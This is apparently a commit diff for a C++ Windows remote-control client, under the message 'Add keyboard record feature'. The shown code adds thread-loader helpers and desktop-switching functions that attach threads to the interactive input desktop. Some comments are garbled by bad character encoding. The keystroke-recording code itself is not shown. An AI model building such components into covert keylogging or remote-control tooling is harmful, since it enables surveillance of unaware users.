feature: Add keyboard record feature
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@@ -5,6 +5,117 @@
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#include "stdafx.h"
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#include "Manager.h"
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#include "IOCPClient.h"
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#include <process.h>
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typedef struct {
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unsigned(__stdcall* start_address)(void*);
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void* arglist;
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bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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HANDLE hEventTransferArg;
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} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
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BOOL SelectDesktop(TCHAR* name);
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unsigned int __stdcall ThreadLoader(LPVOID param)
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{
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unsigned int nRet = 0;
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try {
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THREAD_ARGLIST arg;
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memcpy(&arg, param, sizeof(arg));
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SetEvent(arg.hEventTransferArg);
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// <20><><EFBFBD>潻<EFBFBD><E6BDBB>
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if (arg.bInteractive)
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SelectDesktop(NULL);
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nRet = arg.start_address(arg.arglist);
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}
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catch (...) {
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};
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return nRet;
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}
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HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
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SIZE_T dwStackSize, // initial stack size
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LPTHREAD_START_ROUTINE lpStartAddress, // thread function
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LPVOID lpParameter, // thread argument
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DWORD dwCreationFlags, // creation option
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LPDWORD lpThreadId, bool bInteractive)
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{
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HANDLE hThread = INVALID_HANDLE_VALUE;
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THREAD_ARGLIST arg;
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arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
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arg.arglist = (void*)lpParameter;
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arg.bInteractive = bInteractive;
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arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
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hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
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WaitForSingleObject(arg.hEventTransferArg, INFINITE);
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CloseHandle(arg.hEventTransferArg);
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return hThread;
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}
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BOOL SelectHDESK(HDESK new_desktop)
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{
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HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
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DWORD dummy;
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char new_name[256];
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if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
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return FALSE;
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}
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// Switch the desktop
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if (!SetThreadDesktop(new_desktop)) {
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return FALSE;
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}
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// Switched successfully - destroy the old desktop
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CloseDesktop(old_desktop);
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return TRUE;
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}
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// - SelectDesktop(char *)
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// Switches the current thread into a different desktop, by name
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// Calling with a valid desktop name will place the thread in that desktop.
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// Calling with a NULL name will place the thread in the current input desktop.
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BOOL SelectDesktop(TCHAR* name)
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{
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HDESK desktop;
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if (name != NULL) {
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// Attempt to open the named desktop
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desktop = OpenDesktop(name, 0, FALSE,
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DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
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DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
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DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
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DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
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}
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else {
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// No, so open the input desktop
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desktop = OpenInputDesktop(0, FALSE,
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DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
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DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
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DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
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DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
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}
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// Did we succeed?
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if (desktop == NULL) {
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return FALSE;
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}
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// Switch to the new desktop
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if (!SelectHDESK(desktop)) {
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// Failed to enter the new desktop, so free it!
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CloseDesktop(desktop);
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return FALSE;
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}
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// We successfully switched desktops!
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return TRUE;
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}
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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